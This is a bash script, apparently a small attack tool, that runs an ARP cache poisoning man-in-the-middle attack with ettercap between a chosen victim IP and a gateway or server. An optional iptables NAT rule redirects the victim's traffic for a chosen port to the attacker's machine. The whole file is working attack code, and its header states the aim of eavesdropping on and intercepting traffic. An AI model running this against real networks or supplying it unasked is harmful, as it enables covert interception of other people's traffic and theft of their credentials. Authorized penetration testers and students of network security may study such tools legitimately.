#!/usr/bin/env bash
# $Id$
# Scenario: I want to eavesdrop and intercept network traffic
# Resolution: Perform Man-in-the-Middle attack and intercept packets
# Notes: Don't be evil

IPTABLES_BIN=/sbin/iptables
ETTERCAP_BIN=/usr/bin/ettercap

## Script setup
usage()
{
    echo "Usage: $(basename ${0}) -t <target_ip> -v <victim_ip> [-p <hijack_port> -i <iface>]"
    echo "Perform arp cache poisoning attack & (optionally) hijack a service port."
    echo
    echo -e "\t-t\tGateway/Server IP to intercept (mandatory)"
    echo -e "\t-v\tThe victim's ip address (mandatory)"
    echo -e "\t-p\tService port to hijack on target_ip (optional)."
    echo -e "\t-i\tNetwork interface to use (optional)"
    echo -e "\t-h\tPrint this help and exit"
    echo
    echo "Example:"
    echo -e "\t$(basename ${0}) -t 192.168.2.1 -v 192.168.2.100 -p 80 -i eth0"
    echo -e "\t 1. Poison 192.168.2.100's arp cache with your mac address mapped to 192.168.2.1"
    echo -e "\t 2. Intercept requests from 192.168.2.100 to 192.168.2.1:80 and redirect them"
    echo -e "\t    to port 80 on your machine."
    echo -e "\t 3. Only listen for traffic on eth0"
    exit 1
}

if [ $# -eq 0 ]
then
    usage
fi

# Process cli options
while getopts ":t:v:p:i:h" option
do
    case ${option} in
        t ) TARGET_SERVER=${OPTARG};;
        v ) TARGET_CLIENT=${OPTARG};;
        p ) HIJACK_PORT=${OPTARG};;
        i ) INTERFACE="-i ${OPTARG}";;
        h ) usage;;
        * ) echo "Invalid option."; usage;;
    esac
done
##

## Sanity Checks
# Need to run as root
if [ $(id -u) -ne 0 ]
then
    echo "You must run this as root"
    usage
fi

# Check for required programs
if [ ! -x ${ETTERCAP_BIN} ]
then
    echo "You need ettercap (http://ettercap.sourceforge.net)."
    exit 1
fi

if [ ! -f ${IPTABLES_BIN} ]
then
    echo "You need iptables (http://www.netfilter.org/)."
    exit 1
fi

# Check that mandatory args are set
if [ -z "${TARGET_SERVER}" ] || [ -z "${TARGET_CLIENT}" ]
then
    usage
fi
##

## The Good Stuff
# Setup redirect so that all packets directed toward ${HIJACK_PORT} on 
# the ${TARGET_SERVER} to me
if [ -n "${HIJACK_PORT}" ]
then
    ${IPTABLES_BIN} -t nat -A PREROUTING ${INTERFACE} -p tcp -d ${TARGET_SERVER} -j REDIRECT --to-ports ${HIJACK_PORT}
fi

# Do arp poisoning to perform MITM attack
echo "Type q to quit"
${ETTERCAP_BIN} -Tq -M arp:remote /${TARGET_CLIENT}/ /${TARGET_SERVER}/ ${INTERFACE}

# Cleanup redirect
if [ -n "${HIJACK_PORT}" ]
then
    ${IPTABLES_BIN} -t nat -D PREROUTING ${INTERFACE} -p tcp -d ${TARGET_SERVER} -j REDIRECT --to-ports ${HIJACK_PORT}
fi
##

exit 0

# vim:syntax=sh
# vim:sw=4:softtabstop=4:expandtab

